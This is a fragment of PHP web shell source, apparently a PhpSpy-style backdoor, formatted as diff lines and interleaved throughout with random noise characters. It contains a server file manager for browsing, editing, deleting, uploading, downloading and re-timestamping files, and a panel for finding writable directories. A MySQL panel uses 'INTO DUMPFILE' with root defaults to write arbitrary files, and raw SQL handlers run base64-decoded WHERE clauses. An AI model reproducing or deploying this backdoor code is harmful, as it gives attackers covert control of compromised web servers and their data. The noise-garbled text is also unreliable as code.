/ }) e. [, I% Y! C& [. J2 G - formfoot();9 `. ?5 F+ g" M4 {! j3 y
- formhead(array('name'=>'fileperm'));' o5 W$ @& y8 _
- makehide('newperm');: t0 g# \* b1 C+ N, D; i3 i4 s
- makehide('pfile');
+ U0 U2 v$ q1 v4 n% B O - makehide('dir',$nowpath);: v" R/ ~+ i; E' t; Y z0 A
- formfoot();
: ~% q% A- E. ^ o - formhead(array('name'=>'copyfile'));1 A/ i' T& C4 G0 ~
- makehide('sname');
) X B. o" X0 e, `, [% M - makehide('tofile');
% r- F% x4 f5 {4 Y% | - makehide('dir',$nowpath);
* Q2 b: w0 H0 d; E* t. j) r9 T - formfoot();
0 G q1 D: ]- r: k A* l - formhead(array('name'=>'rename'));( R. q( ]' w0 w( I
- makehide('oldname');
* Y! Z+ x8 L) J" s, R* N1 E - makehide('newfilename');
7 A' X0 S( |4 \9 D5 C' u6 a/ | - makehide('dir',$nowpath);
, X( ~3 V% {- b - formfoot();
9 w% g) n& d+ Q+ g" `2 ^ - formhead(array('name'=>'fileopform'));
; u* J3 L% q# t6 D - makehide('action');& P, B' ` l) b3 I j7 M% V& B4 P
- makehide('opfile');
2 S: ?" M7 `1 U0 V* A" ~. i5 a - makehide('dir');' _+ a* l" v% f+ r4 b6 g
- formfoot();% E' q( f7 [3 }3 f2 E* m2 U
- " K! x7 U1 ~8 M e' {
- $free = @disk_free_space($nowpath);$ Q. n7 {/ @, W9 C! W
- !$free && $free = 0;, ]- U) F7 {. Z5 ^ z4 _
- $all = @disk_total_space($nowpath);
. @) Y \6 r H% L' n" F9 h - !$all && $all = 0;
c- w8 D/ v. H9 W# _ - $used = $all-$free;
( `+ O* l( x. U) \ - $used_percent = @round(100/($all/$free),2);+ X9 q) C7 r, L# b2 Y1 G
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
+ j, H6 x0 ?3 i+ x x- n - " U" G: L: }) K* h! ~% z# V; }
- ?>
0 u4 C0 W. }3 n2 z$ p - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">7 _! \8 `* E, k* N% p1 `
- <form action="" method="post" id="godir" name="godir">* Q; B5 o6 g. L* y( Y2 @
- <tr>
" l; ?7 w- B% J9 v0 c - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>* ?- G" S9 j' R# e, w8 V4 f
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
* p) L" s, p9 Y/ F - <td nowrap><input class="bt" value="GO" type="submit"></td>
: r u, ]' S; x, ^ - </tr>
n9 K5 z: t# y3 ^& C - </form>! P/ c' L& m, h+ J) y9 r% R, j
- </table>& t" l6 D1 i" e; F% A8 C! d( R
- <script type="text/javascript">
5 ^% D3 Q/ D2 }+ N1 T - function createdir(){
' m! C. f% H9 S- j& p/ i - var newdirname;
: e8 n8 Y* n, `, U: b+ V - newdirname = prompt('Please input the directory name:', '');1 H. w- |8 o! r0 l! A/ W
- if (!newdirname) return;
% N* m* y/ u x W6 C - $('createdir').newdirname.value=newdirname;
" _7 ?! J" t! E- r - $('createdir').submit();
! m, W, ? p+ |+ O, r7 @9 M - }
' c7 @: w Q1 t" L, D( L - function fileperm(pfile){; o# G8 e' V! J# N" ?2 O2 \
- var newperm;
9 x" e5 W. Q; [# Z& Z7 I1 e - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');4 p4 H; n8 z7 p+ d) e' g
- if (!newperm) return;* \& ^2 C q! m& n0 M. J, [* C
- $('fileperm').newperm.value=newperm;' y; l- E6 ^7 @7 J$ _0 t
- $('fileperm').pfile.value=pfile;
2 ~; q) S" m) {; D+ d* a - $('fileperm').submit();
3 h$ U6 o( E5 t$ E- _4 M - }
; w3 v+ f( X8 M0 ]) K - function copyfile(sname){
& n q+ X$ P ? B' a* \5 G* w2 e ^ - var tofile;
6 j6 @0 z% L: X1 H2 U* W - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');8 u% d, a2 L0 e2 u* n* b: c4 Q$ U$ t
- if (!tofile) return;
( S. i2 q7 a2 ~2 v - $('copyfile').tofile.value=tofile;" l9 X9 x0 N w6 i# l
- $('copyfile').sname.value=sname;
9 l. s# w1 Z" q' X" E - $('copyfile').submit();! U% P3 G( G3 j0 e5 X9 L
- }
6 _1 Y. `3 g$ W& k* n. ` - function rename(oldname){7 a% P0 g" S$ X! t
- var newfilename;2 l6 l4 c) x; ?% L+ N0 T6 g
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
3 W! ~$ U. A4 T4 |: @ - if (!newfilename) return;
9 D6 T1 e* Y: I- z - $('rename').newfilename.value=newfilename;
3 U# E( r( \, @- X - $('rename').oldname.value=oldname;& h8 N2 H. E% g! \& m5 x
- $('rename').submit();
% i; e! j4 D4 g+ L4 X- c# m - }
% t9 [& N3 y7 U" G% M - function dofile(doing,thefile,m){
' M3 d2 d3 {3 B, F8 F0 ~ - if (m && !confirm(m)) {- h" A# u( h3 O+ C
- return;
" |& I# s4 E, _ - }6 N6 T2 x- ?1 S0 c7 ~; _% I
- $('filelist').doing.value=doing;: q: o+ k) \. J9 E5 U: M6 t7 z
- if (thefile){4 Z( \9 S# X2 H
- $('filelist').thefile.value=thefile;+ g* `, ]5 f# O1 ~6 D* e
- }9 e3 n5 N- }$ ^5 I e% p
- $('filelist').submit();
, x6 x8 I$ h. f - }
: V' Y1 s4 M& ~) W3 b9 m - function createfile(nowpath){
8 n$ ?' N) y) x6 D8 E/ e7 E { - var filename;
8 w# p) l4 A$ l0 A - filename = prompt('Please input the file name:', '');, y2 j) g0 z F: P
- if (!filename) return;1 p$ G' @+ |8 C$ @
- opfile('editfile',nowpath + filename,nowpath);" H. e; A( N" A, f
- }
3 h8 {* h: @; G0 `' ~0 P2 @ - function opfile(action,opfile,dir){3 O. m3 L0 N, Z9 `+ F. ^/ Z
- $('fileopform').action.value=action;
4 r# v6 [2 w* y: Z2 B' @ \ - $('fileopform').opfile.value=opfile;
6 f0 W# w3 ?& t5 L( _' p$ V - $('fileopform').dir.value=dir;2 X- G+ g4 W% _5 A4 y, E$ W
- $('fileopform').submit();
0 x4 k' p9 M1 @6 E. T w' F" M - }3 L7 |8 y$ j T
- function godir(dir,view_writable){8 V+ {6 M' {" v7 O- E0 S
- if (view_writable) {% C. ~0 y# S% u+ T) N
- $('godir').view_writable.value=1; M3 I' p* _$ Y$ T6 L4 t
- }
* n& V4 f- K1 J* t6 A& L - $('godir').dir.value=dir;
# o) f0 v9 I( x* a. X& K) @ - $('godir').submit();2 ^2 ]/ [2 Z+ q# \/ J
- }" R4 E* w9 {# s* P: s) Z4 I1 j E, m
- </script>; M+ \5 F- M: Z
- <?php
+ A! e- l, [9 h! V - tbhead();. R) l2 w7 ~' ]8 E
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
- |" t+ q8 X+ \" W! C- z- i" B! g - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
( @; H7 v, f3 S3 b - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');& `5 m$ R/ @! o
- if ($view_writable) {
" Z5 r, w3 a3 _$ Q2 A3 s2 @ - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
- h7 m( Y% W! Z; M - } else {
& N/ {) ^: @8 W8 ] - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');! Z% @+ K# P8 t) i R+ {
- }
9 M) `* d6 r- U - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
. ^" z7 b/ b( f: m - if (IS_WIN && IS_COM) {% n3 B+ H( `; e8 h: _+ e
- $obj = new COM('scripting.filesystemobject');
& G5 A; n9 B. H1 |$ V - if ($obj && is_object($obj)) {
& H2 d' \& a$ p8 m+ G- e. ? - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
7 h$ e6 o8 S) U) m - foreach($obj->Drives as $drive) {
$ L& S- [3 N8 _ - if ($drive->DriveType == 2) {
" I' E" @" G! d8 T$ \9 I7 C - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( i2 R3 t# U/ ~7 X f; o
- Free:'.sizecount($drive->FreeSpace).'
' W8 V s/ M8 r- _9 ^7 M - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');9 y' o2 m, ~/ {* i# R. J
- } else {
$ X% C( i' h. j$ e - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');8 R# h- b7 R9 o( e0 I# e$ H E N
- }
( i7 @4 |6 {: H# J. N; N - }: |7 q% s, c# k, ~9 u9 K
- }7 l: Y7 K: Y/ `+ q5 A
- }
& P; W2 Q3 z3 i. P4 S8 { -
6 ~5 S# B7 E$ q1 E/ m: M - p('</td></tr></form>');
4 l% ]0 F5 w, ~ - $ c0 A5 k$ d5 t) Z5 n' g
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');% {$ b+ [4 q2 J7 {4 B6 V3 H
- 2 v4 C# z7 c- F/ p& X e9 g
- //查看所有可写文件和目录
, [( ~' z) m& j- L - $dirdata=array();8 r& T* S7 W+ `0 f! T
- $filedata=array();! k& y) G, u9 v% G D; ?
- 4 a/ M) Q1 M4 M2 O x: t
- if ($view_writable) {
/ B. Z8 v% \. _( `3 \9 X* N - $dirdata = GetList($nowpath);
' t4 K$ H: H/ p: _- i - } else {7 E( q0 w$ d4 s+ c$ \
- // 目录列表
1 c+ H* U4 D# { - $dirs=@opendir($dir);$ n% z+ y! \8 t0 @+ R
- while ($file=@readdir($dirs)) {2 j( F* A% u9 u7 i I, m8 n* k
- $filepath=$nowpath.$file;
0 b9 h/ Q+ a7 s1 h$ M1 x- z - if(@is_dir($filepath)){
7 k: H! ~0 Q/ c# W3 i1 ] - $dirdb['filename']=$file;
+ ]- o, q, \) v' R - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
, I* I! V! F6 z9 u - $dirdb['dirchmod']=getChmod($filepath);2 H; Y" B! b. `1 @5 _1 v0 x! R' n
- $dirdb['dirperm']=getPerms($filepath);
2 x- G' n4 U9 O - $dirdb['fileowner']=getUser($filepath);" G) I5 z _2 r6 p" K/ ?
- $dirdb['dirlink']=$nowpath;
& A" W& ^6 S( s) ]6 @/ ? - $dirdb['server_link']=$filepath;
9 K! M1 R4 Q6 V/ y: _' e& b& r - $dirdb['client_link']=ue($filepath);
! I9 S! v d$ m- v& f - $dirdata[]=$dirdb;
1 l. J3 H0 c0 s2 [) Z/ n/ x+ h - } else { 5 T0 k, [$ J" b
- $filedb['filename']=$file;
: `. w8 I) z2 ^+ H - $filedb['size']=sizecount(@filesize($filepath));: O" y8 u! E$ @5 W2 ] T; q) T( V
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));6 Z d) J( [6 S' D$ u( r
- $filedb['filechmod']=getChmod($filepath);
8 E9 M7 z4 H- _5 ?- s - $filedb['fileperm']=getPerms($filepath);
3 E0 K. s6 P. d# b% t3 c% g! ^ - $filedb['fileowner']=getUser($filepath);$ m4 Q) P+ g$ H. g. S0 C
- $filedb['dirlink']=$nowpath;
. ~/ O, B2 W; n - $filedb['server_link']=$filepath;
$ N4 p! {) x7 U( d! E W - $filedb['client_link']=ue($filepath);0 `6 N j q& D, F" g4 k; Y" W- X
- $filedata[]=$filedb;' b, X8 { `0 F* u
- }
7 W: m1 C/ f$ Q - }// while
& l/ e) d( C' k3 Q! r# I2 { @ - unset($dirdb);% n+ l& `" a, y' F
- unset($filedb);
, G$ {8 O# z! T- s' N- y - @closedir($dirs);
3 m- l3 i% }7 A - }
4 o5 {3 o- t4 l' m - @sort($dirdata);# l, u4 {' V- ]& S! q$ e! K
- @sort($filedata);
8 E+ q6 p- }9 l5 [- l% A% Z - $dir_i = '0';5 j7 J( P* Q" O3 [; N* F
- foreach($dirdata as $key => $dirdb){. x. N5 {2 {5 Q, j8 P2 T
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
^) k: E; V6 a' n - $thisbg = bg();
8 O' R5 ?: V2 t - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 D3 M9 j' @3 ~/ m# ^7 E
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% g1 P7 f( g8 A# D; G5 @: f' S
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');* v+ A. c, x& \3 A0 ?5 i6 }
- p('<td nowrap>'.$dirdb['mtime'].'</td>');) g+ ~8 ~" G1 O7 \
- p('<td nowrap>--</td>');
4 \ R1 |9 T/ p( r1 X& n - p('<td nowrap>');1 C* j. t# c! s* A% Y8 L& G t2 q$ t
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
5 |1 Q6 @9 _! J1 L8 R5 g - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
/ i. H8 B3 f1 ^: k- Q3 w; | - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
- e, J L6 s/ j( p1 `7 k9 }! h - p('</tr>');
! u% a o) \* g, N - $dir_i++;7 U- C+ f$ c8 q6 Z0 d' \" r. J, w+ r% b
- } else {
5 B( o3 w" u/ U0 v - if($dirdb['filename']=='..') {
1 ?8 z+ F& @/ L( N/ c4 G - p('<tr class='.bg().'>');
7 N1 y- B8 V1 Q+ m$ L - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');7 f' Z/ l$ u( z
- p('</tr>');, s: k# _9 [) e0 h6 Q* ~
- }6 U C/ w6 J) N; b1 L; M; o
- }
& C: [, j. K x$ s& h$ P - }/ I* j b, P# g. O, Y
- " m9 N. [8 _' j+ w7 _* m
- p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
" k/ v5 \2 X3 c5 D: J* W/ P - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');: c. k5 T3 Y5 ~- ?( ?
- makehide('action','file');
" S6 u+ }8 A4 Q3 H9 {) g - makehide('thefile');4 y. ]7 e' y1 e8 Q* P) q% @" ]# l8 a
- makehide('doing');
) h: } ~4 _, e# Y; _ - makehide('dir',$nowpath);) q3 l3 |- d5 ?6 N0 i/ V' o" O* Z b
- $file_i = '0';. y, i( e+ i4 \# K E7 e. m
- foreach($filedata as $key => $filedb){
1 G* h* z- D! j7 Z - if($filedb['filename']!='..' && $filedb['filename']!='.') {
6 s. w9 Z5 `5 H: s - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
" e+ [4 S+ F8 z/ t" l- V - $thisbg = bg();; u$ e- h. ^( Q
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');) v. l+ r& F7 d1 X: [) }0 ?' h
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');5 @& O4 c# u8 y
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
$ U g3 k& D* I& @6 |( A - p('<td nowrap>'.$filedb['mtime'].'</td>');
, I9 |6 p. k# e) ~. \6 P, Y - p('<td nowrap>'.$filedb['size'].'</td>');% j/ T) d2 R: \( s2 {9 o1 v: f: u1 G
- p('<td nowrap>');
5 Z# o$ U2 h( @7 e( N8 R. v - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
* [: }& V& u' f$ m- _" s - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');& w2 r$ V, l: n, l" q
- p('<td nowrap>');
. ^4 @: e G3 r) v - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');! i- l3 q! K' p! u5 W1 L
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');$ B4 D9 `: U5 [/ J7 |& j. V
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');& d) ] V" u5 X3 `2 `0 g% ?& F
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
! r* \* v8 T. r2 ^* L ` - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* d* t+ R; J% A
- p('</td></tr>');
) I% x- y: g8 C5 @7 n, G& q, K - $file_i++;
' G+ I: r, o. D" k" s - }" C7 r, ~/ b0 D* ]
- }( w. R* q! W# ], K M$ [) y% d/ E) ?
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');+ b: O1 x7 X8 y0 M
- p('</form></table>');
; a0 ]5 W8 L( S1 h8 s5 N - }// end dir
3 b4 H( V* T6 v. p) `, D$ u7 Z - + W' g5 E2 A8 w# u
- elseif ($action == 'sqlfile') {/ s+ V, D8 g* w0 h1 }
- if($doing=="mysqlupload"){5 J% y }1 ^. {) ?" C5 k
- $file = $_FILES['uploadfile'];8 a5 F! j+ \9 S0 ]4 ^ A [, R
- $filename = $file['tmp_name'];
, h1 _. ?0 B* f - if (file_exists($savepath)) {0 V5 B! s. O# Q
- m('The goal file has already existed');/ K* y+ H/ O: {# P @
- } else {3 w3 t6 j/ y2 q! p4 a# U4 q4 m" D
- if(!$filename) {& ^( l) Y9 ~0 I3 j/ ~
- m('Please choose a file');
. I9 _( F" _5 Z# Z - } else {) u+ N# G. s7 l! P- Y
- $fp=@fopen($filename,'r');$ S% F$ Z9 @5 B! S6 ]! |, x3 |
- $contents=@fread($fp, filesize($filename));
$ k& Z) {( U1 i3 s3 y; x - @fclose($fp);! u* I/ L4 O) A* Y0 {* X" i
- $contents = bin2hex($contents);& f$ B8 q3 H! T0 Q, b
- if(!$upname) $upname = $file['name'];+ m- f- }6 a+ r: i2 n
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) T, X/ d9 r8 t' W7 b! z9 E0 I6 o
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");* v& ]* n( B f+ c. P3 g$ V
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
0 y! Y4 T, n& k' J2 \/ S9 }/ B( V. i - }
) F; X% e2 Z) v. r8 F5 Z - }, S$ F( J2 R5 P. w
- }
0 n& ` g! e* R) x5 s* Y5 c5 V- V- B - ?>
& `% u, B1 ~& i. D' r' D$ C( ~# F - <script type="text/javascript">
! u$ ~# B4 S: S - function mysqlfile(doing){
% c8 o; {( R+ ]! _: [$ e+ d0 p - if(!doing) return;% f5 U$ L: B; p, u, W
- $('doing').value=doing;
0 z. b3 z* r4 ], L# q - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
. q/ C' I4 J- I. G& m: g7 u - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;! _( \, k+ W" {+ p3 y. s
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;6 e3 K1 j# O) ]+ H4 n( | \
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
9 x4 j2 g5 C; S - $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
- A0 g; f' q: a7 m$ F - $('mysqlfile').charset.value=$('dbinfo').charset.value;8 v9 `$ E' _! G E( [* u
- $('mysqlfile').submit();
/ z0 U2 `/ a9 [. |) } - }0 g$ m; I; E" r) v( Q; v
- </script>
6 G6 j: L4 |# I+ _$ h - <?php
* O; K7 }. j. z - !$dbhost && $dbhost = 'localhost'; a" I) L& Y: t$ d) T
- !$dbuser && $dbuser = 'root';
% X5 \' e( T. E3 r - !$dbport && $dbport = '3306'; S- T3 i ?2 E/ R. G/ s7 M0 r
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
- M) O N1 M; a: n" a - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));, A) h+ n; O1 B8 O2 h
- makehide('action','sqlfile');$ T8 [. e4 _+ I) F4 c
- p('<p>');
# N, U* i( O5 ] ?6 z v* C! b) a% A& w - p('DBHost:');% F8 @* R8 {9 C- f6 E9 F0 d2 h
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
2 z7 Q0 v' o) d) p" v - p(':');" M4 }; b! {) Q+ p% ]
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));* T% T( ?0 @, q5 g/ ]/ R
- p('DBUser:');, R' F- g7 }: W5 Y8 N3 E9 U. Y: s4 h
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
, ]/ }9 b# P0 W3 N$ j d, U W - p('DBPass:');$ H3 r& S+ a$ @9 b5 p# N
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
6 L7 a6 l1 f: C3 l - p('DBName:');4 W5 N7 U5 g. m* n2 g1 `$ B( X$ \
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
: w! P0 N+ t( g+ m+ k. X - p('DBCharset:');
3 T8 M. D2 O/ _3 j$ N - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
2 R& J3 C9 p& @" S, m - p('</p>');: E% V: \' o. d, Z2 m6 Z
- formfoot();
$ Z) x' D2 o" t3 p4 r3 S - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');. J5 z; Z! H' a; Z) T; T! W
- p('<h2>Upload file</h2>');
* m& ?5 \+ m k+ M1 M/ l - p('<p><b>This operation the DB user must has FILE privilege</b></p>');# K7 U" `9 G$ Z* F! g9 V
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');6 L/ j; r; ?1 f7 S: l
- p('<h2>Download file</h2>');% n" `, F9 X( I$ A+ E
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
5 x9 B) A. g) V; }4 i" } - makehide('dbhost');
/ H! ^6 R. p' h2 n/ H - makehide('dbport');2 ^2 P K4 y6 Y' y, @/ V
- makehide('dbuser');- Y$ @) [ F( ^1 |, x
- makehide('dbpass');
) h2 f3 s' z6 ~4 T - makehide('dbname');
0 ~) O; R$ [6 u* ]' S$ h) L - makehide('charset');
, @! b& h; N' x7 h* X4 G _$ R7 Y# s - makehide('doing');0 B! x8 t) ^. @( c8 e. z. ]
- makehide('action','sqlfile');
) L ]+ _7 R1 m" n - p('</form>');! a4 [- B( P' X/ S4 F. ?3 k, X
- }
& G0 V/ W' |% u# A - 7 v% ~ w1 R2 a- q! A6 Y
- elseif ($action == 'sqladmin') {
# }9 ?6 \, r. l* k+ v6 e% C - !$dbhost && $dbhost = 'localhost';/ W# k- M& ?! R+ v- Z
- !$dbuser && $dbuser = 'root';# Z/ Q3 @! \0 i" H. Q
- !$dbport && $dbport = '3306';. o4 W) a: j W# R0 h7 u
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';( a j1 b6 L2 k! r9 e: s0 p! [
- if(isset($dbhost)){! N+ W2 Y. C0 a8 \
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";- f2 h! T5 V* W0 D" G
- }8 ?' A/ B/ g0 o2 Y1 Y* z- w! W
- if(isset($dbuser)) {" ]: k" t* y7 p$ \6 y
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
( J. a$ J1 Y- t8 s - }; m/ P, m6 }3 j+ H |- |
- if(isset($dbpass)) {
) o( m5 P3 b3 h9 ~8 o( L. l - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
6 b4 }9 V! s" ]2 {% u - }7 E6 `* Q4 E. N1 G4 r
- if(isset($dbport)) {. h# H( r' Y0 n! U
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";' ? K% C# Z5 u5 p
- }
2 m* A) ]* J7 Z, |' |: i - if(isset($dbname)) {
4 ~# I- [4 p: C" L6 V! K: [ - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";0 c" l0 a+ M9 E* |3 s: L
- }
# ^% Q. S& w# g: c& n - if(isset($charset)) {
9 S% a8 q1 N! Y1 N* t% K H8 ? - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";( ^; L( @) n# I z- @ c4 C( u
- }; X& |8 n3 e7 o5 Q* b
- " D3 Y9 |2 E: F. K9 n8 [% Y5 J
- if ($doing == 'backupmysql' && $saveasfile) {
' k" S) J5 m! Y5 R5 N* R) L3 Y - if (!$table) {
- B- y( ]* z. v ` K( q - m('Please choose the table');/ k- j9 l: \: `' Y
- } else {% Q% @3 A0 s' `* A N5 b
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
" S9 f" Z8 U( W - $table = array_flip($table);
. ?1 a; e* l! h4 \- T, ] - $fp = @fopen($path,'w');
4 m9 _. u, g$ ] - if ($fp) {' a8 @7 S( V, z
- $result = q('SHOW tables');: Z$ M* p5 H% ]* M
- if (!$result) p('<h2>'.mysql_error().'</h2>');" t: M8 T* F- s
- $mysqldata = '';
6 E+ Y/ f& T c- u9 R5 M - while ($currow = mysql_fetch_array($result)) {
) L v3 A: `) d( g: m+ C! Z - if (isset($table[$currow[0]])) {
# K3 x- t" f- O. k- I( _+ ] - sqldumptable($currow[0], $fp);5 ?5 h: P7 ?5 V9 S
- }
) _- c& A7 Z+ e. [+ B; M - }
' r2 s6 D0 n( A8 A - fclose($fp);5 s" G, V- v0 ]* _9 T4 d
- $fileurl = str_replace(SA_ROOT,'',$path);
; e0 X; Y$ I( L% }, ~ - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');: a/ z7 Z. \5 Y' q# X
- mysql_close();- ?7 E4 _+ F- N7 \# T2 R
- } else {
0 D( C6 I; G+ E, ? - m('Backup failed');4 D3 S) Y( \" h' U
- }) N. b/ z5 s' y# X1 g, B; d) R
- }
; ^1 ~0 o4 m. G* Y - }
+ K0 j# I2 Z4 a/ v8 D n' {* f - if ($insert && $insertsql) {
" u& i9 h, Y" ?$ t - $keystr = $valstr = $tmp = '';* q) a! \: b0 K- G
- foreach($insertsql as $key => $val) {
$ k+ {& T! ]8 s( h" B; E# u+ y - if ($val) {
! l. Q( d3 w# C8 \; f - $keystr .= $tmp.$key;
2 L5 `8 O) \5 p& C) |; R - $valstr .= $tmp."'".addslashes($val)."'";7 L& i/ u& l [- `
- $tmp = ',';
4 j' v1 B. u& M6 k - }
7 p- M3 ^* U/ X6 x2 K6 q - }
/ G0 o% l5 `8 c' G - if ($keystr && $valstr) {/ H) k" g- }; Y3 T
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 i6 k8 ~. J9 o- \7 P
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
7 u0 f' ~$ f J+ s0 w) i% \: D - }8 \& @ W/ U2 d# x1 l
- }
8 p4 C* j1 W+ i: y - if ($update && $insertsql && $base64) {
) h5 R& U( t; i+ j& p5 f - $valstr = $tmp = '';
1 a# f$ H7 F& d& h* O- \ - foreach($insertsql as $key => $val) {, D" u9 {1 T [" r) W
- $valstr .= $tmp.$key."='".addslashes($val)."'";
% Z: v: u. Y* ~4 v6 C: @0 P9 L - $tmp = ',';
' T$ w/ s* M3 p! h! Q - }
! }. K# r# ^0 D4 Q$ ? - if ($valstr) {, P# ?3 s$ l8 u5 f" o7 Z
- $where = base64_decode($base64);; S# K& d9 p0 D% L3 A
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
) g$ i$ I4 R) G* Z! |& o - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
2 t) d+ o2 F( y - }
# g8 y* t* n, A% H# Q- p - }
* P* p$ l* g" B& R( n7 o, e - if ($doing == 'del' && $base64) {
. k2 c+ V) Z, u! \/ M6 M - $where = base64_decode($base64);; }5 M! Y% w7 q" k9 M1 g
